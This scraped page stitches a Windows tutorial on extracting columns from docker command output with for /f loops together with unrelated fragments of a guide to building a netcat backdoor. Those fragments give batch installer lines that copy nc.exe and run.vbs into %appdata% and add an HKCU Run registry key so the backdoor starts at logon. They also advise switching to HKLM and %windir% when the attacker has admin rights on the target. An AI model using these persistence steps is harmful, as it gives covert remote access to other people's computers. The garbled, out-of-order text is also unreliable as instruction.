Then to display the 3rd column from above output, you need to use for /f "tokens=3 delims= " %i in ('docker images') DO %i as shown below.Ĭ:\> for /f "tokens=3 delims= " %i in ('docker images') DO %iĮxample 3: How to Display the 1st and 3rd Column of an Output Ubuntu latest ba6acccedd29 4 weeks ago 72.8MB C:\> docker imagesĭebian latest 827e5611389a 5 hours ago 124MBīitnami/jsonnet latest 9c99af3c6e63 7 hours ago 87.6MB Similarly, if you have some other command output like docker images output. C:\> for /f "tokens=1 delims= " %i in ('docker ps -a') DO %iĮxample 2: How to Display the 3rd Column of an Output Then to display the 1st column from above output, you need to use for /f "tokens=1 delims= " %i in ('docker ps -a') DO %i as shown below. C:\> docker ps -aĬONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESĬ2adf7864497 debian:latest "/bin/bash" 10 seconds ago Exited (0) 5 seconds ago competent_teslaī47e78d48042 bitnami/jsonnet "jsonnet /bin/bash" 20 seconds ago Exited (1) 19 seconds ago quirky_grothendieckĢ01b2ce8cb1d bitnami/jsonnet:latest "jsonnet /bin/bash" 33 seconds ago Exited (1) 33 seconds ago relaxed_golickĪ51fdaa8be5d debian:latest "/bin/bash" 50 seconds ago Exited (0) 47 seconds ago infallible_lewinĨec360b2132c ubuntu:latest "bash" About a minute ago Exited (0) About a minute ago sleepy_chatterjeeĬ4fbb13caa7f ubuntu:latest "/bin/bash" About a minute ago Exited (0) About a minute ago peaceful_thompson If you have any command with output in the form of rows and columns like we have for docker ps -a command here. How to Display Nth Column of a File or an Output using Windows Command LineĪlso Read: 31 Most Useful netsh command examples in Windows Example 1: How to Display the 1st Column of an Output Here I will show you how to perform column operations in Windows using just for loop so that you can use it in your System irrespective of the Windows version you are using. Well, there are no such tools like awk and sed in Windows like we have in Linux or Unix, so to extract the column from a file or a command output we can either use inbuilt PowerShell script or Windows commands. All these things are quite easily possible if you are using Linux or Unix based Systems what about when you are using Windows based systems. May be even delete a column from a file or from an output. Very often, we do face a situations where we just need to display few columns from a file or from a command output in Windows.
This code just runs the ipconfig command, and tells the user to write down the ip address as seen in the ipconfig command which will be important later on.In this article, we will see how to display nth column of a File or an Output using Windows Command Line with the help of some real world examples. But if you know that the account that you will be on has admin privileges want you could change HKCU to HKLM to allow the backdoor the run on all users. The reason why I did not use HKLM is you need to run the file as an administrator in newer versions of windows. You may notice in duct tapes guide, he used HKLM.
This next line adds a registry key to run 'run.vbs' whenever the user logs on. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v nc /d "%appdata%\run.vbs" Also, every part were it says %errorlevel%, is just checking for errors. These two lines copy nc.exe (netcat) to the appdata directory as well as run.vbs which I will show you how to make in the next step. If you already know batch, you can move on to the next step otherwise I will explain some code to you.
Also change on line 4 and 5 %appdata% to %windir%. And on the same line change %appdata% to %windir%. NOTE: if you have admin permissions on the target computer change HKCU to HKLM on line 12 (pic 1). Now save the file as install.bat in the same directory as nc.exe. Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v nc /d "%appdata%\run.vbs"Įcho an error has occured while writing to the registry
So open up notepad or any other batch editor and paste in the following code: offĮcho an error has occured while copying files So to create the installer, we could use vbs, but it would be a lot more complicated to create the installer so I decided to use good old batch to keep it simple.